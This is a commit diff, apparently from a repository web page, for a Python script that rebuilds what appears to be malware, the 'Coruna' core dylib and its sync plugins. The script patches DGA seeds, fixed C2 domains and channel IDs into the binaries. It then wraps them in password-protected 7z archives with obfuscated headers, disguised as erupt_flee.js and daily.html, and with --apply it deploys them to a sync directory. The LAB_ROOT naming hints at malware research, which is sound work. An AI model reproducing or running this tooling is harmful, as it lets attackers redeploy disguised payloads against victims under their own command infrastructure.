feature
This commit is contained in:
+151
-52
@@ -1,5 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch DGA seeds in core (erupt_flee) and rebuild daily.html with updated sha256/size."""
|
||||
"""Patch seeds/domains/channel in core + sync business plugins; rebuild daily.html."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
@@ -10,12 +10,14 @@ import struct
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
from _channel_patch import patch_plain_channel_in_dylib, validate_channel_id
|
||||
from _common import (
|
||||
CORE_DYLIB,
|
||||
DAILY_BODY,
|
||||
LAB_ROOT,
|
||||
MODULE_HUNT,
|
||||
ORIGINAL_CORE_CHANNEL_ID,
|
||||
SOURCE_ROOT,
|
||||
SYNC_MODULES,
|
||||
ensure_tree_layout,
|
||||
patch_seeds_in_dylib,
|
||||
set_tree_root,
|
||||
@@ -26,11 +28,7 @@ from _common import (
|
||||
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
|
||||
import _common
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.insert(0, str(MODULE_HUNT))
|
||||
|
||||
from coruna_netconfig_pipeline import ( # noqa: E402
|
||||
from coruna_netconfig_pipeline import (
|
||||
HEADER_MARKER_1,
|
||||
HEADER_MARKER_2,
|
||||
HEADER_XOR,
|
||||
@@ -38,7 +36,7 @@ from coruna_netconfig_pipeline import ( # noqa: E402
|
||||
derive_archive_password,
|
||||
repair_coruna_7z_header,
|
||||
)
|
||||
from reproduce_coruna_dga import generate_domains # noqa: E402
|
||||
from reproduce_coruna_dga import generate_domains
|
||||
|
||||
try:
|
||||
import py7zr
|
||||
@@ -98,19 +96,71 @@ def extract_daily_config_bytes() -> bytes:
|
||||
return (Path(tmp) / "tmp.dylib").read_bytes()
|
||||
|
||||
|
||||
def update_core_fields(config_bytes: bytes, digest: str, size: int) -> bytes:
|
||||
def load_sync_modules() -> list[dict]:
|
||||
if not SYNC_MODULES.is_file():
|
||||
raise SystemExit(f"missing sync module inventory: {SYNC_MODULES}")
|
||||
return json.loads(SYNC_MODULES.read_text())
|
||||
|
||||
|
||||
def update_daily_hashes(
|
||||
config_bytes: bytes,
|
||||
hashes: dict[str, tuple[str, int]],
|
||||
) -> bytes:
|
||||
"""Update core / springboard_entries / entries sha256+size keyed by wire filename."""
|
||||
obj = json.loads(config_bytes)
|
||||
obj["core"]["sha256"] = digest
|
||||
obj["core"]["size"] = size
|
||||
if "erupt_flee.js" in hashes:
|
||||
digest, size = hashes["erupt_flee.js"]
|
||||
obj["core"]["sha256"] = digest
|
||||
obj["core"]["size"] = size
|
||||
for entry in obj.get("springboard_entries", []):
|
||||
wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
|
||||
if wire in hashes:
|
||||
digest, size = hashes[wire]
|
||||
entry["sha256"] = digest
|
||||
entry["size"] = size
|
||||
for entry in obj.get("entries", []):
|
||||
wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
|
||||
if wire in hashes:
|
||||
digest, size = hashes[wire]
|
||||
entry["sha256"] = digest
|
||||
entry["size"] = size
|
||||
return json.dumps(obj, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
|
||||
|
||||
|
||||
def patch_module_channel(
|
||||
data: bytes,
|
||||
*,
|
||||
channel: str,
|
||||
expect_hits: int,
|
||||
label: str,
|
||||
) -> bytes:
|
||||
if expect_hits <= 0 or channel == ORIGINAL_CORE_CHANNEL_ID:
|
||||
return data
|
||||
return patch_plain_channel_in_dylib(
|
||||
data,
|
||||
channel,
|
||||
old_channel=ORIGINAL_CORE_CHANNEL_ID,
|
||||
expect_hits=expect_hits,
|
||||
label=label,
|
||||
)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Patch core seeds and rebuild sync/erupt_flee.js + sync/daily.html"
|
||||
description=(
|
||||
"Patch core + sync business-plugin channel/seeds/domains and rebuild "
|
||||
"sync wires + daily.html"
|
||||
)
|
||||
)
|
||||
parser.add_argument("--deployment-seed", required=True)
|
||||
parser.add_argument("--reporting-seed", required=True)
|
||||
parser.add_argument(
|
||||
"--channel-id",
|
||||
help=(
|
||||
f"32-hex channel written into core + sync plugins "
|
||||
f"(default: keep {ORIGINAL_CORE_CHANNEL_ID})"
|
||||
),
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
@@ -136,11 +186,16 @@ def main() -> int:
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="copy daily.html + erupt_flee.js into <root>/sync/",
|
||||
help="copy rebuilt daily.html + patched sync wires into <root>/sync/",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
||||
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
||||
channel = (
|
||||
validate_channel_id(args.channel_id)
|
||||
if args.channel_id
|
||||
else ORIGINAL_CORE_CHANNEL_ID
|
||||
)
|
||||
fixed_dep = (
|
||||
parse_domain_list(args.deployment_domains, label="deployment")
|
||||
if args.deployment_domains
|
||||
@@ -172,43 +227,78 @@ def main() -> int:
|
||||
if not DAILY_BODY.is_file():
|
||||
raise SystemExit(f"missing daily body: {DAILY_BODY}")
|
||||
|
||||
patched = patch_seeds_in_dylib(
|
||||
CORE_DYLIB.read_bytes(),
|
||||
dep,
|
||||
rep,
|
||||
expect_dep=2,
|
||||
expect_rep=2,
|
||||
label="core/tmp.dylib",
|
||||
)
|
||||
if fixed_dep is not None and fixed_rep is not None:
|
||||
patched = patch_fixed_domains_in_dylib(
|
||||
patched,
|
||||
fixed_dep,
|
||||
fixed_rep,
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
label="core/tmp.dylib",
|
||||
)
|
||||
digest = sha256_hex(patched)
|
||||
size = len(patched)
|
||||
modules = load_sync_modules()
|
||||
password = derive_archive_password()
|
||||
out: Path = args.out
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
dylibs_dir = out / "dylibs"
|
||||
dylibs_dir.mkdir(exist_ok=True)
|
||||
|
||||
erupt_wire = obfuscate_coruna_7z_header(
|
||||
make_passworded_7z("tmp.dylib", patched, password)
|
||||
)
|
||||
repaired, _ = repair_coruna_7z_header(erupt_wire)
|
||||
assert repaired.startswith(STANDARD_7Z_PREFIX)
|
||||
hashes: dict[str, tuple[str, int]] = {}
|
||||
rebuilt_wires: list[str] = []
|
||||
|
||||
config_bytes = update_core_fields(extract_daily_config_bytes(), digest, size)
|
||||
for mod in modules:
|
||||
wire = mod["wire"]
|
||||
member = mod["member"]
|
||||
expect = int(mod.get("expect_channel_hits", 0))
|
||||
rel = mod.get("source_rel") or f"source/sync_dylibs/{member}"
|
||||
src = LAB_ROOT / rel
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing sync dylib for {wire}: {src}")
|
||||
|
||||
data = src.read_bytes()
|
||||
label = f"sync/{wire} ({member})"
|
||||
|
||||
if wire == "erupt_flee.js":
|
||||
data = patch_seeds_in_dylib(
|
||||
data,
|
||||
dep,
|
||||
rep,
|
||||
expect_dep=2,
|
||||
expect_rep=2,
|
||||
label=label,
|
||||
)
|
||||
if fixed_dep is not None and fixed_rep is not None:
|
||||
data = patch_fixed_domains_in_dylib(
|
||||
data,
|
||||
fixed_dep,
|
||||
fixed_rep,
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
label=label,
|
||||
)
|
||||
|
||||
if expect > 0:
|
||||
data = patch_module_channel(
|
||||
data,
|
||||
channel=channel,
|
||||
expect_hits=expect,
|
||||
label=label,
|
||||
)
|
||||
digest = sha256_hex(data)
|
||||
size = len(data)
|
||||
hashes[wire] = (digest, size)
|
||||
wire_bytes = obfuscate_coruna_7z_header(
|
||||
make_passworded_7z(member, data, password)
|
||||
)
|
||||
(out / wire).write_bytes(wire_bytes)
|
||||
(dylibs_dir / member).write_bytes(data)
|
||||
rebuilt_wires.append(wire)
|
||||
print(f"patched {wire}: sha256={digest[:16]}… size={size} channel={channel}")
|
||||
else:
|
||||
print(f"skip channel {wire}: no embedded core channel")
|
||||
|
||||
if "erupt_flee.js" not in hashes:
|
||||
raise SystemExit("core erupt_flee.js was not rebuilt")
|
||||
|
||||
core_digest, core_size = hashes["erupt_flee.js"]
|
||||
(out / "tmp.patched.dylib").write_bytes((dylibs_dir / "tmp.dylib").read_bytes())
|
||||
|
||||
config_bytes = update_daily_hashes(extract_daily_config_bytes(), hashes)
|
||||
daily_wire = obfuscate_coruna_7z_header(
|
||||
make_passworded_7z("tmp.dylib", config_bytes, password)
|
||||
)
|
||||
|
||||
out: Path = args.out
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
(out / "erupt_flee.js").write_bytes(erupt_wire)
|
||||
(out / "daily.html").write_bytes(daily_wire)
|
||||
(out / "tmp.patched.dylib").write_bytes(patched)
|
||||
(out / "config.patched.json").write_text(
|
||||
json.dumps(json.loads(config_bytes), indent=2) + "\n"
|
||||
)
|
||||
@@ -218,19 +308,23 @@ def main() -> int:
|
||||
manifest = {
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"channel_id": channel,
|
||||
"core_channel_original": ORIGINAL_CORE_CHANNEL_ID,
|
||||
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
||||
"core_sha256": digest,
|
||||
"core_size": size,
|
||||
"core_sha256": core_digest,
|
||||
"core_size": core_size,
|
||||
"daily_sha256": sha256_hex(daily_wire),
|
||||
"erupt_flee_sha256": sha256_hex(erupt_wire),
|
||||
"erupt_flee_sha256": sha256_hex((out / "erupt_flee.js").read_bytes()),
|
||||
"patched_wires": rebuilt_wires,
|
||||
"module_sha256": {w: h for w, (h, _) in hashes.items()},
|
||||
"deployment_domains": dep_domains,
|
||||
"reporting_domains": rep_domains,
|
||||
}
|
||||
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
||||
|
||||
print(f"core sha256={digest} size={size}")
|
||||
print(f"wrote {out / 'erupt_flee.js'}")
|
||||
print(f"wrote {out / 'daily.html'} (core.sha256/size updated)")
|
||||
print(f"core sha256={core_digest} size={core_size}")
|
||||
print(f"channel: {channel} (core/plugins from {ORIGINAL_CORE_CHANNEL_ID})")
|
||||
print(f"wrote {len(rebuilt_wires)} sync wires + daily.html -> {out}")
|
||||
print("deployment domains:")
|
||||
for d in manifest["deployment_domains"]:
|
||||
print(f" {d}")
|
||||
@@ -239,11 +333,16 @@ def main() -> int:
|
||||
print(f" {d}")
|
||||
|
||||
if args.apply:
|
||||
shutil.copy2(out / "erupt_flee.js", sync_dir / "erupt_flee.js")
|
||||
shutil.copy2(out / "daily.html", sync_dir / "daily.html")
|
||||
print(f"applied -> {sync_dir}")
|
||||
for wire in rebuilt_wires:
|
||||
shutil.copy2(out / wire, sync_dir / wire)
|
||||
print(f"applied -> {sync_dir / wire}")
|
||||
print(f"applied daily.html -> {sync_dir}")
|
||||
else:
|
||||
print(f"\nRe-run with --apply --root <project> to overwrite sync/{{daily.html,erupt_flee.js}}")
|
||||
print(
|
||||
"\nRe-run with --apply --root <project> to overwrite "
|
||||
"sync/{daily.html + patched wires}"
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user